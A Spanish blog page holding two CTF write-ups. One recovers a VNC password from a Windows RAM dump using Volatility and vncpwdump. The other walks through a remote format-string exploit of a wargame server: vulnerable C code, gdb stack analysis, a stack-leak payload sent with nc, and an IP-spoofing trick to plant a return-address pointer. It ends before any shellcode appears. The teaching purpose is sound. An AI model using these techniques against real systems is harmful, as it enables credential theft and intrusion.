Mostrando entradas con la etiqueta wargame. Mostrar todas las entradas
Mostrando entradas con la etiqueta wargame. Mostrar todas las entradas

lunes, 5 de marzo de 2012

Write-up Nuit du hack 2011 Prequals - forensic100


Para no perder comba, y antes de publicar definitivamente los write-up de la última Rooted Arena 2012, pongo la solución a este sencillo reto de la fase de clasificación del CTF de Nuit du hack de 2011.

Forensic100

El archivo README nos cuenta:
$ cat README
On a dumpe la RAM d'une machine sur laquelle tournait un serveur VNC.
Le but est de recupere le mot de passe de ce serveur.
* * *
We have dumped the RAM of a Machine on which was running a VNC server.
The goal is to get the password of that VNC server.
Sabiendo esto, nos ponemos manos a la obra. Una buena herramienta de análisis de volcados de RAM es volatility.
Descargamos y, ayudándonos de la referencia de comandos, vamos sacando información:
$ python vol.py -f forensic100/Desktop/dump.raw imageinfo
Volatile Systems Volatility Framework 2.0
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with WinXPSP2x86)
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/loopback1984/Descargas/forensic100/Desktop/dump.raw)
PAE type : PAE
DTB : 0xae2000
KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2011-03-10 13:28:56
Image local date and time : 2011-03-10 13:28:56
Number of Processors : 1
Image Type : Service Pack 2
Con esto sabríamos que estamos frente a un volcado de memoria de Windows XP SP2.
$ python vol.py -f forensic100/Desktop/dump.raw psscan
Volatile Systems Volatility Framework 2.0
Offset Name PID PPID PDB Time created Time exited
---------- ---------------- ------ ------ ---------- ------------------------ ------------------------
0x01fb0020 ctfmon.exe 1664 1580 0x06f10140 2011-03-10 13:02:35
0x01fce938 lsass.exe 696 632 0x06f100a0 2011-03-10 13:02:30
0x01fd1500 svchost.exe 928 684 0x06f100e0 2011-03-10 13:02:31
0x01fe8020 wscntfy.exe 532 1020 0x06f10200 2011-03-10 13:02:59
0x01ff4020 svchost.exe 1020 684 0x06f10100 2011-03-10 13:02:31
0x0201d7e8 spoolsv.exe 1472 684 0x06f10180 2011-03-10 13:02:34
0x02192020 alg.exe 500 684 0x06f101e0 2011-03-10 13:02:58
0x021ea980 winvnc4.exe 1696 684 0x06f10240 2011-03-10 13:09:47
0x021eb558 wmiprvse.exe 1460 860 0x06f10280 2011-03-10 13:28:33
0x022123c0 svchost.exe 1064 684 0x06f10120 2011-03-10 13:02:31
0x022216e8 csrss.exe 608 544 0x06f10040 2011-03-10 13:02:29
0x022356d8 smss.exe 544 4 0x06f10020 2011-03-10 13:02:27
0x02394da0 mmc.exe 1512 1580 0x06f101a0 2011-03-10 13:28:14
0x023cf620 explorer.exe 1580 1564 0x06f101c0 2011-03-10 13:02:34
0x02429720 svchost.exe 860 684 0x06f100c0 2011-03-10 13:02:31
0x024ac9c0 winlogon.exe 632 544 0x06f10060 2011-03-10 13:02:29
0x024df548 svchost.exe 1300 684 0x06f10160 2011-03-10 13:02:33
0x025365b0 services.exe 684 632 0x06f10080 2011-03-10 13:02:30
0x025c8830 System 4 0 0x00ae2000
Aquí vemos el ejecutable y sabemos que se trata de la versión 4.
$ python vol.py -f forensic100/Desktop/dump.raw hivelist
Volatile Systems Volatility Framework 2.0
Virtual Physical Name
0x8066e904 0x0066e904 [no name]
0xe1809008 0x08bfd008 \Device\HarddiskVolume1\Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1986008 0x09f7e008 \Device\HarddiskVolume1\Documents and Settings\eleve\NTUSER.DAT
0xe17a9768 0x08a48768 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe179b758 0x08a40758 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
0xe1770008 0x085d6008 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe175fb60 0x08410b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
0xe13ffb60 0x02f2bb60 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe14ab008 0x07023008 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe14abb60 0x07023b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe14e4758 0x0369d758 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe12e8288 0x02d65288 [no name]
0xe1035b60 0x02aafb60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe102e008 0x02ab1008 [no name]
En esta última consulta descubrimos los “hives” [2] del registro que están presentes en el volcado, los cuales nos serán útiles para el siguiente paso.
Sabiendo el fallo [3] que esta versión de RealVNC tiene (almacena en el registro las contraseñas con un hash bastante débil), buscamos la clave adecuada en nuestro volcado [4]:

$ python vol.py -f forensic100/Desktop/dump.raw printkey -K "RealVNC\WinVNC4"
Volatile Systems Volatility Framework 2.0
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: WinVNC4 (S)
Last updated: 2011-03-10 13:10:51
Subkeys:
Values:
REG_BINARY Password : (S)
0000 DA 6E 31 84 95 77 AD 6B .n1..w.k
REG_SZ SecurityTypes : (S) VncAuth
REG_SZ ReverseSecurityTypes : (S) None
REG_DWORD QueryConnect : (S) 0
REG_DWORD QueryOnlyIfLoggedOn : (S) 0
Una vez localizada la contraseña almacenada en memoria, procedemos a tratar de descifrarla. Para ello, el paso siguiente más lógico es identificar el tipo de hash. Gracias a Hash ID [5], podemos ver una aproximación:
$ python ../Hash_ID_v1.1.py
######################################################################### # __ __ __ ______ _____ # # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.1 # # By Zion3R # # www.Blackploit.com # # Root@Blackploit.com # #########################################################################
       -------------------------------------------------------------------------
HASH: DA6E31849577AD6B
Possible Hashs:
[+] MySQL
[+] MD5(Middle)
Least Possible Hashs:
[+] MD5(Half)
-------------------------------------------------------------------------
Tras investigar un poco, descrubrimos que ya hay una herramienta para estos menesteres,  vncpwdump [6]:
$ wine vncpwdump -k DA6E31849577AD6B
VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq

Referencias

Un blog interesante sobre el tema: http://gleeda.blogspot.com/

sábado, 17 de septiembre de 2011

Writeup level5 del wargame de la NoCon Name 2011

Este es el último nivel y el más difícil de todos con bastante diferencia. Nos conectamos y vemos el típico binario y su fuente. Al ejecutarlo vemos que se queda escuchando en el puerto 12345.

$ ./level5
port: 12345

Si probamos a enviarle cosas nos las imprime en la consola del server, no en la del cliente. Desde otra consola (en nuestro ordenador físico por ejemplo):

$ nc 192.168.169.128 12345
str: hola
thnx
$

En la consola del servidor ahora vemos (OJO! no es que hayamos vuelto a ejecutar level5, ya lo ejecutabamos de antes, lo ponemos para que sea más clarificador todo lo que se ve en la consola del server):

$ ./level5
port: 12345
hola

Ya tenemos una ligera idea de que va el nivel, una explotación en remoto. Ahora pasemos al código fuente. Al analizarlo nos llama la atención unas cuantas cosas. La primera pero no la más importante es que te avisa de que efectivamente se supone que es una explotación en remoto y por consiguiente no deberías poder ver el /proc de la máquina donde se está ejecutando el server. Al no poder acceder al /proc hay unas cuantas cosas que no podríamos saber del proceso.

Otra cosa que nos llama la atención es que hay unas cuantas funciones que están declaradas e implementadas pero que no se llaman nunca, como por ejemplo get_urand(). Ya veremos si más adelante hace falta usarlas.

Lo que más nos debe llamar la atención es la vulnerabilidad que vamos a explotar, existe una función dovuln con lo siguiente:

int dovuln(char *buf)
{
   printf(buf);
   return 0;
}

Se trata una explotación de "format string attack". El programador está imprimiendo directamente la string que le estamos pasando por el socket. Lo correcto hubiera sido poner printf("%s", buf). Debido a esto podemos usar directivas de formato de la familia de funciones printf() para explotar el programa.

Analizando más el código fuente veremos que ese buf está en heap y no en el stack. Es reservado mediante malloc() en la función anterior a dovuln(), handle() y que tiene un tamaño de 1024 bytes contando el '\0' que el propio programa pone. La lectura a su vez con el recv() especifíca 1024-1 bytes a leer, lo que quiere decir que no hay BoF.

Si empezamos a analizar el binario con el gdb nos vamos a llevar dos sorpresas:

$ gdb -q level5
Leyendo símbolos desde /media/penole_/wargames/nocon_name_2011/level5/level5...hecho.
(gdb) disas dovuln
Dump of assembler code for function dovuln:
   0x00000fab <+0>:    push   %ebp
   0x00000fac <+1>:    mov    %esp,%ebp
   0x00000fae <+3>:    sub    $0x8,%esp
   0x00000fb1 <+6>:    mov    0x8(%ebp),%eax
   0x00000fb4 <+9>:    mov    %eax,(%esp)
   0x00000fb7 <+12>:    call   0xfb8 <dovuln+13>
   0x00000fbc <+17>:    mov    $0x0,%eax
   0x00000fc1 <+22>:    leave 
   0x00000fc2 <+23>:    ret   
End of assembler dump.
(gdb)

La primera es buena, el binario tiene información de depuración ya que logra leer símbolos, lo dice en la primera línea después de ejecutar gdb. Esto la mayoría de las veces no nos damos cuenta porque estamos condicionados, pero si no hay información de depuración lo que gdb dice es "Leyendo símbolos desde <binario a depurar>...(no se encontraron símbolos de depuración)hecho.".

Por otro lado hay una mala sorpresa. Al desamblar dovuln() para ver un poco cómo lo hace todo vemos algo raro, el call ese en dovuln+12. hace una llamada a dovuln+13?! WTF!, pero si ni siquiera dovuln+13 es una instrucción de verdad, está partido entre los bytes del propio call y quizás del mov. Si miramos otros calls de otras funciones veremos que se repite. Además también nos fijamos en las direcciones que aparecen al lado de las instrucciones. Una persona familiarizada con el reversing en sistemas UN*X tendrá grabado a fuego en el cerebro (cosa que a veces es malo porque crea malos hábitos... como lo de la información de depuración), que el código de un programa siempre se situa por las direcciones 0x0804XXXX más o menos, que un poco más abajo están los datos, que la pila suele estar en 0xbfffXXXX, etc... De hecho si miramos con readelf/objdump las secciones de un programa normal veremos lo siguiente:

$ objdump -h /home/level3/level4
...
 13 .text         0000025c  08048440  08048440  00000440  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         0000001c  0804869c  0804869c  0000069c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000073  080486b8  080486b8  000006b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000004  0804872c  0804872c  0000072c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  08049730  08049730  00000730  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        00000008  08049738  08049738  00000738  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  08049740  08049740  00000740  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000d0  08049744  08049744  00000744  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049814  08049814  00000814  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      00000030  08049818  08049818  00000818  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  08049848  08049848  00000848  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          0000000c  08049850  08049850  00000850  2**2
                  ALLOC
...

Vemos que efectivamente la sección .text (el código) en este caso cae en 0x0848440, la sección .data (datos inicializados) cae un poco más abajo 0x08049848... Una aclaración antes de seguir, los términos "arriba" y "abajo" cuando se está con reversing son muy controvertidos. Hay gente que considera que la pila está "arriba" y otras que la pila está "abajo". Los famosos libros de arquitectura de computadores, reversing, assembler, etc... también cada autor lo trata como quiere. En nuestro caso vamos a representarnos la memoria con las direcciones más bajas (0x0, 0x1, /etc...) "arriba" y las direcciones altas "abajo", puede sonar lioso pero todo es hacerse a la norma. Así que cuando use expresiones de "la variable X está más arriba que la variable Y" se debe entender que "la variable X está en una posición de memoria más baja que la variable Y", y viceversa.

Volviendo al binario level5, entonces por qué en este binario las direcciones no siguen este patrón tan común. La respuesta la tenemos con lo siguiente:

$ readelf -h level5
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xb60
  Start of program headers:          52 (bytes into file)
  Start of section headers:          7028 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         7
  Size of section headers:           40 (bytes)
  Number of section headers:         37
  Section header string table index: 34

El tipo del binario es DYN, no EXEC (como es el caso más común). Eso quiere decir que se ha compilado para que sea un binario tipo PIE (Position Independant Executable) con algo como "gcc -fPIE -pie -o level5 level5.c". Es decir, que las direcciones de los datos y código no estén grabadas a fuego en el binario, sino que sea el enlazador (ld), junto con el sistema, en el momento de cargar el binario en memoria decidan dónde van a estar todas las cosas. Este es el formato típico de las bibliotecas dinámicas, si le echamos un ojo a la libc veremos lo siguiente:

$ readelf -h /lib/libc-2.11.2.so
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x16dd0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1316456 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         10
  Size of section headers:           40 (bytes)
  Number of section headers:         68
  Section header string table index: 67

Vemos que también es de tipo DYN. Alguno se puede preguntar, y para que nos han soltado todo este rollo? Bueno pues resulta que el gdb que hay instalado en la máquina virtual es la versión:

$ gdb --version
GNU gdb (GDB) 7.0.1-debian
...

Y es a partir de la versión 7.1 de gdb dónde se ha incluido el soporte para depurar binarios PIE, lo que quiere decir que no podremos usar gdb para depurar level5. De hecho si lo intentamos obtenemos lo siguiente:

(gdb) br *dovuln
Breakpoint 1 at 0xfab
(gdb) run
Starting program: /home/level4/level5
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0xfab: Input/output error.

(gdb)

En nuestro caso concreto se nos ocurrió dos cosas, la primera y que fue la que hicimos fue llevarnos el binario y el fuente al ordenador físico donde teníamos la versión 7.2 de gdb y sí podíamos depurar la ejecución. La idea era hacer todo el análisis y la explotación en local y luego intentar llevarla a cabo en remoto. La otra opción es intentar instalar una versión de gdb 7.1+ en la máquina virtual. En nuestro caso concreto, más adelante hicimos un intento pero no funcionó rápidamente y tampoco queríamos gastar mucho tiempo en ello, hay unos cuantos problemas a la hora de hacerlo.

Seguimos para adelante. A partir de ahora vamos a estar a dos bandas, por un lado depurando en nuestra máquina local así que todas las referencias a memoria que hagamos aquí probablemente cambien en otra máquina, lo que quiere decir que los números que mostremos durante las pruebas y explotaciones haya que modificarlos para que cuadren en otro lado. También entendemos que el lector tiene conocimientos decentes de lo que son las format strings de la familia de funciones printf() y que sabe al menos en teoría lo que es un format string attack y cómo, más o menos, explotarlo. También queremos aclarar que todo lo que aquí exponemos y que parecen saltos lógicos a la hora de realizarlos y de estar haciendo el análisis no ha sido todo tan rápido, nos hemos estado mucho tiempo con este nivel (mucho más que con el anterior).

Lo primero va a ser mirar un poco cómo está la pila justo antes de imprimir en dovuln():

(gdb) set follow-fork-mode child
(gdb) disas dovuln
Dump of assembler code for function dovuln:
   0x00000fab <+0>:    push   %ebp
   0x00000fac <+1>:    mov    %esp,%ebp
   0x00000fae <+3>:    sub    $0x8,%esp
   0x00000fb1 <+6>:    mov    0x8(%ebp),%eax
   0x00000fb4 <+9>:    mov    %eax,(%esp)
   0x00000fb7 <+12>:    call   0xfb8 <dovuln+13>
   0x00000fbc <+17>:    mov    $0x0,%eax
   0x00000fc1 <+22>:    leave 
   0x00000fc2 <+23>:    ret   
End of assembler dump.
(gdb) br *dovuln+12
Punto de interrupción 1 at 0xfb7
(gdb) run
Starting program: /home/ole/level5
port: 12345
[Nuevo process 19015]
[Cambiando a process 19015]

Breakpoint 1, 0x00110fb7 in dovuln ()
(gdb) x /10xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
0xbffff370:    0x00000000    0x00000000
(gdb) x /s 0x00113008
0x113008:     "hola\n"
(gdb) x /i 0x0011104f
   0x11104f <handle+140>:    movl   $0x0,0xc(%esp)
(gdb)

Aquí podemos ver dónde está situada la string que le pasamos en el heap (0x00113008) y la dirección de retorno de dovuln (0x0011104f). Nuestro objetivo va a ser el de siempre, intentar sobreescribir la dirección de retorno para que salte a nuestra shellcode. Evidentemente la shellcode la inyectaremos en la string que le pasamos al programa, es decir querremos cambiar 0x0011104f por 0x00113008 o una dirección más o menos cercana e inferior ya que podremos inyectar también un NOPSLED. ¿Cómo lo vamos a hacer?.

Normalmente cuando una string que permite hacer un format string attack se encuentra en la pila, una técnica consiste en ver cuál es la dirección de la dirección de retorno (cómo ésto es lioso voy vamos a referirnos a "la dirección de retorno como ret"), hardcodearla en nuestra string y acceder a ella mediante suficientes conversiones en nuestra string. Ejemplo rápido, esta es la pila de un programa con la vulnerabilidad:

----------------------
| dir nuestra cadena | <-- Parámetro para printf(omg), nótese que omg es la variable que contiene nuestra cadena
----------------------
|     saved ebp      |
----------------------
|        ret         | <-- La dirección esta es 0x01ec0ded.
----------------------
|                    |
|       basura       | <-- Supongamos 8 bytes de basura (cosas que no nos interesan).
|                    |
----------------------
|   nuestra cadena   | <-- Los bytes de nuestra cadena. OJO! no tiene por qué ser 4 bytes, pueden ser más.
----------------------

Si en esta situación pasáramos la string "\xed\x0d\xec\x01%5$n", lo que pasaría sería que printf escribiría los 4 primeros caracteres (aparecería basura en la pantalla pero esos 4 bytes si nos fijamos son la dirección donde está ret) y luego aplicaría el %5$n, lo que ocasiona que en la dirección a la que apunta el quinto parámetro de printf después de la cadena de formato (en definitiva, el sexto parámetro) se guarden el número de caracteres impresos hasta ese momento (se guarda un 4). Pero cuál es el quinto parámetro? pues los 4 primeros bytes de nuestra string... que apuntan a ret... con lo que sobreescribiríamos ret con un 4.

En esto es en lo que se basan los format string attacks cuando nuestra string está en pila. Es posible que muchos no conozcan bien todas las opciones que ofrecen las format strings, el %5$n puede resultar bastante raro, para aclararlo un poco (si es que lo logramos) hay que saber que %n es una construcción que lo que hace es guardar %n en la posición de memoria a la que apunta el parámetro que le corresponde el número de caracteres impresos hasta ese punto. Por otra parte las format strings ofrecen un mecanismo conocido como Direct Parameter Access (DPA) que permite a una directiva de format (%algo) acceder a cualquiera de los parámetros del printf, así por ejemplo %3$d imprimirá el entero que hay en el cuarto parámetro a printf(). En general su formato es %<n>$<caracter de conversion>. Esto junto con las otras opciones que puede llevar la directiva de conversión se vuelve más lioso, pero la tenemos que conocer y manejar con soltura, al menos hasta esta profundidad, %<n>$<caracter de relleno><longitud mínima><caracter de conversión>. Con esto se imprime el n-ésimo+1 parámetro de printf() como un <lo que indique el caracter de conversión> con al menos <longitud mínima> caracteres usando <caracter de relleno> para llegar a esa longitud mínima si fuera necesario. Ejemplo %5$08x, imprime el sexto parámetro de printf() como un entero en hexadecimal con al menos longitud 8 usando el caracter '0' para llegar a longitud 8 si fuera necesario.

No queremos explicar cómo explotar un format string attack desde 0 porque para eso ya hay muy buenos papers por internet de gente mucho más profesional que nosotros, pero al menos dar un mínimo de orientación para hacer al texto lo más autocontenido posible.

Volviendo a level5. Aunque hay una vulnerabilidad de format string attack, no podemos explotarla tan directamente como hemos explicado porque nuestra string se encuentra en el heap, y no en la pila. Esto no sería un problema si no fuera porque el heap se encuentra encima de la pila y la técnica de DPA no permite acceder a posiciones negativas... no se pude hacer %-4$n }:), una pena jejeje.

Lo concluido es que sólo podemos reescribir aquellas posiciones de memoria que ya vengan señaladas por algún valor en la pila. Es decir, si la pila contiene los valores X, Y y Z, da igual si de manera continuada o no, si están en el frame de la función que se ejecuta o no, podremos escribir las posiciones de memoria X, Y y Z.

Ahondando un poco más en nuestro objetivo, vamos a ampliarlo un poco, hemos dicho que es sobreescribir la dirección de retorno. Realmente nos serviría con sobreescribir UNA dirección de retorno. No tiene por qué ser la más inmediata (dovuln a handle), sino que puede ser la siguiente (handle a loop) o incluso a más profundidad. Esto tiene una pequeña limitación. Si alguna de las funciones ejecuta exit(), el programa no retornará más a partir de ese punto (exit() le pide al sistema que termine con el proceso... un suicidio acelerado). Esta limitación se da en cierto punto. Si miramos el código del programa veremos:

int loop(int ssock)
{
        int csock, pid;
        struct sockaddr_in caddr;
        socklen_t clen = sizeof caddr;

        while(1)
        {  
                csock = accept(ssock, (struct sockaddr *) &caddr, &clen);
                if(csock == -1) { perror("accept()"); continue; }

                pid = fork();
                if(pid == -1) { perror("fork()"); continue; }

                if(pid == 0) { close(ssock); handle(csock); exit(0); }
                else close(csock);

        }  

   return 0;
}

Que la función loop ejecuta un exit() después de ejecutar handle(). Esto significa que podemos sobreescribir la dirección de retorno de dovuln, la de handle pero la de loop no. Bueno, realmente sí que podemos pero no nos va a servir para saltar luego ahí porque el exit() terminará con el proceso antes.

Si volvemos a analizar la pila (aprovechamos para recordar que esta depuración se está haciendo en la máquina física, si llegamos a encontrar una técnica para explotar el programa, a la hora de intentarlo en la máquina virtual habrá que cambiar ciertas cosas, direcciones de memoria principalmente):

(gdb) x /32xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
0xbffff370:    0x00000000    0x00000000    0xb7fc8ff4    0xb7fc8ff4
0xbffff380:    0x00000000    0x00113008    0xbffff3c8    0x00110ea7
0xbffff390:    0x00000006    0xbffff3b0    0xbffff3ac    0xb7fc8ff4
0xbffff3a0:    0x00000000    0x00000000    0xbffff3c8    0x00000010
0xbffff3b0:    0x95bb0002    0x0100007f    0x00000000    0x00000000
0xbffff3c0:    0x00000006    0x00000000    0xbffff3f8    0x001110f5
(gdb) info stack
#0  0x00110fb7 in dovuln ()
#1  0x0011104f in handle ()
#2  0x00110ea7 in loop ()
#3  0x001110f5 in main ()
(gdb)

Podemos ir tomando nota de las direcciones de los rets que nos puede interesar sobreescribir: 0xbffff35c (de dovuln a handle), 0xbffff38c (de handle a loop). Si consiguieramos que en la pila apareciera alguno de estos valores podríamos aprovecharnos de la format string para usar %n con ese valor. Vemos que hay valores cercanos pero no hay ninguno que apunte directamente a una dirección de retorno (menuda coña nos habríamos marcado si así fuera!).

Aquí es donde se encuentra uno de los momentos de más creatividad del nivel (al menos haciendo lo que estamos haciendo). Tenemos que analizar lo más que podamos de la pila, no importa incluso si acabamos poniendo el puntero a una dirección de retorno terriblemente lejos de la cima, nos basta con que esté en algún lado. En este momento hay que empezar a analizar el programa y ver cuales son todas las entradas al mismo que el usuario puede controlar. Hay una evidente y que ya hemos hablado, nuestra string, es la entrada más directa al programa, son bytes que nosotros le metemos, ¿pero hay más entradas?, ¿hay algún valor en pila que nosotros podamos tocar a nuestro antojo o al menos influir en él?. Pues la respuesta, menos mal, es SÍ, y aquí está lo gracioso, ve el lector el 0x0100007f situado en la posición 0xbffff3b0? Le dice algo? a nosotros nos dice 127.0.0.1 :). Efectivamente, es la dirección IP de la máquina cliente (la atacante). Este valor es pusheado a la pila cuando dos funciones antes (en loop()) el cliente se conecta y la llamada a accept() rellena los parámetros correspondientes con la información del cliente:

while(1)
{  
        csock = accept(ssock, (struct sockaddr *) &caddr, &clen); <--- ZAS! EN TODA LA BOCA!
        if(csock == -1) { perror("accept()"); continue; }

Aquí hay datos que controlamos nosotros, la dirección IP y el puerto concretamente. Aunque en nuestro caso no vamos a utilizar el puerto. Algunos ya se imaginarán por dónde van los tiros, otros quizás piensen "pero la dirección IP no la controlamos nosotros sino que ya tenemos la que tenemos". Como dijo Arquímedes "Dadme una cuenta de root y moveré el mundo!" (no es así?). El ordenador físico es nuestro y nos lo f0114m05 (nótese la censura h4x0r!) cuando queramos. Pues bien, vamos a hacer lo siguiente sin explicarlo mucho y veamos el resultado

- Primero apagamos VMware entero, no sólo la máquina virtual.
- Como la interfaz que utiliza VMware cuando una máquina virtual está configurada como NAT es la vmnet8 nos vamos a /etc/vmware/vmnet8/dhcpd.
- Editamos el fichero dhcpd.conf:

###### VMNET DHCP Configuration. Start of "DO NOT MODIFY SECTION" #####
# Modification Instructions: This section of the configuration file contains
# information generated by the configuration program. Do not modify this
# section.
# You are free to modify everything else. Also, this section must start
# on a new line
# This file will get backed up with a different name in the same directory
# if this section is edited and you try to configure DHCP again.

# Written at: 09/07/2011 14:29:58
allow unknown-clients;
default-lease-time 1800;                # default is 30 minutes
max-lease-time 7200;                    # default is 2 hours

subnet 44.252.255.0 netmask 255.255.255.0 { <--- Tocamos aquí
   range 44.252.255.10 44.252.255.15;       <--- y aquí
   option broadcast-address 44.252.255.255; <--- y aquí
   option domain-name-servers 44.252.255.2; <--- y aquí
   option domain-name localdomain;
   default-lease-time 1800;                # default is 30 minutes
   max-lease-time 7200;                    # default is 2 hours
   option routers 44.252.255.2; <-- aquí también
}
host vmnet8 {
   hardware ethernet 00:50:56:c0:00:08;
   fixed-address 44.252.255.191;        <--- Pero sobre todo aquí y con este número concretamente
   option domain-name-servers 0.0.0.0;
   option domain-name "";
   option routers 0.0.0.0;
}
####### VMNET DHCP Configuration. End of "DO NOT MODIFY SECTION" #######

- Me encantan los avisos de "DO NOT MODIFY SECTION", que majos... una pena no saber inglés. Cambiamos la subred en la que estaba dando direcciones el DHCP de VMware por las que tenemos ahí por ejemplo, realmente lo importante es asegurarnos que a nuestro ordenador le va a asignar la dirección IP 44.252.255.191.
- Reiniciamos el servicio porque si no VMware no leerá la nueva configuración y nos seguirá dando las direcciones anteriores:

ole@pc-ole:/etc/vmware/vmnet8/dhcpd$ sudo service vmware restart
...
   Virtual ethernet                                                    done
   Shared Memory Available                                             done
$

- Un detalle a tener en cuenta es que la opción "Virtual ethernet" debe decir "done" y no "failed". Si nos pone failed es que hemos editado mal el fichero... y VMware no va a decir ni pío.

- Arrancamos la máquina virtual (le asignará la dirección 44.252.255.10) y pedimos dirección IP en la interfaz correspondiente:

$ sudo dhclient vmnet8
...
DHCPREQUEST of 44.252.255.191 on vmnet8 to 255.255.255.255 port 67
DHCPACK of 44.252.255.191 from 44.252.255.15
bound to 44.252.255.191 -- renewal in 803 seconds.

- Quizás tendremos que esperar un poco porque al principio nuestro ordenador intentará obtener la última dirección que tuvo, el DHCP le responderá con un DHCPNAK y unos segundos más tarde ya pedirá alguna dirección IP y nos dará la que queremos.

Bien, una vez realizados estos pasos vamos a seguir por donde ibamos. Esta vez vamos directamente a atacar al servidor en la máquina remota (no en local como hemos estado haciendo hasta ahora) y vamos a pedirle que nos imprima unos cuantos valores de la pila, así de paso refrescamos lo que hablamos antes de las format strings:

$ $ ./ignorante_de_la_vida
port: 12345

Ejecutamos el servidor en la máquina virtual (leer la NOTA 1 para entender el por qué de "ignorante_de_la_vida". Y ahora desde la máquina física le pedimos que nos imprima un poco de la pila:

$ perl -e 'print "0x%08x\n"x30' | nc 44.252.255.10 12345

Y esto es lo que nos escupe el servidor:

0xbffffc30  <-- Llamémosle 1 (un nombre elegido aleatoriamente)
0xbffffc58  <-- Llamémosle 2 (un nombre elegido aleatoriamente + 1)
0xb7fff04f  <-- Adivina...
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98  <-- 14
0xb7ffeea7  <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c  <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8  <-- 30

So interesting... Vamos a explicar un poco lo que aquí se ve. Le hemos mandado al server la string "0x%08x\n" repetida 30 veces. Al tener la vulnerabilidad de format string attack printf(buf), lo que va a ocurrir es que se imprimirán los parámetros 2, 3, ... 31 de printf. Tal cuál funciona el paso de parámetros en C estos parámetros deberían estar en ebp+8, ebp+c, ebp+10, ... del frame printf. Cuando dovuln() llama a printf() lo primero que se hace es pushear la dirección de retorno, luego salvar el ebp del frame de dovuln() y ya luego hacer su trabajo. Los parámetros a cualquier función se deben poner en la pila justo antes de la llamada y de forma que el parámetro 1 sea el más alto de todos, debe estar en ebp+8, el segundo el siguiente en ebp+c, y así sucesivamente (en bibliografía que hable sobre esto a veces lo llamarán pushear al revés, primero el último parámetro). Sin embargo printf realmente sólo tiene un parámetro, buf la dirección de nuestra string, pero printf no lo sabe así que al tener en nuestra string directivas de formato %x printf() accederá a los valores que hay en ebp+8, etc... como si los hubiera, por lo tanto nos estará mostrando la pila. Esto es típico de los format string attacks.

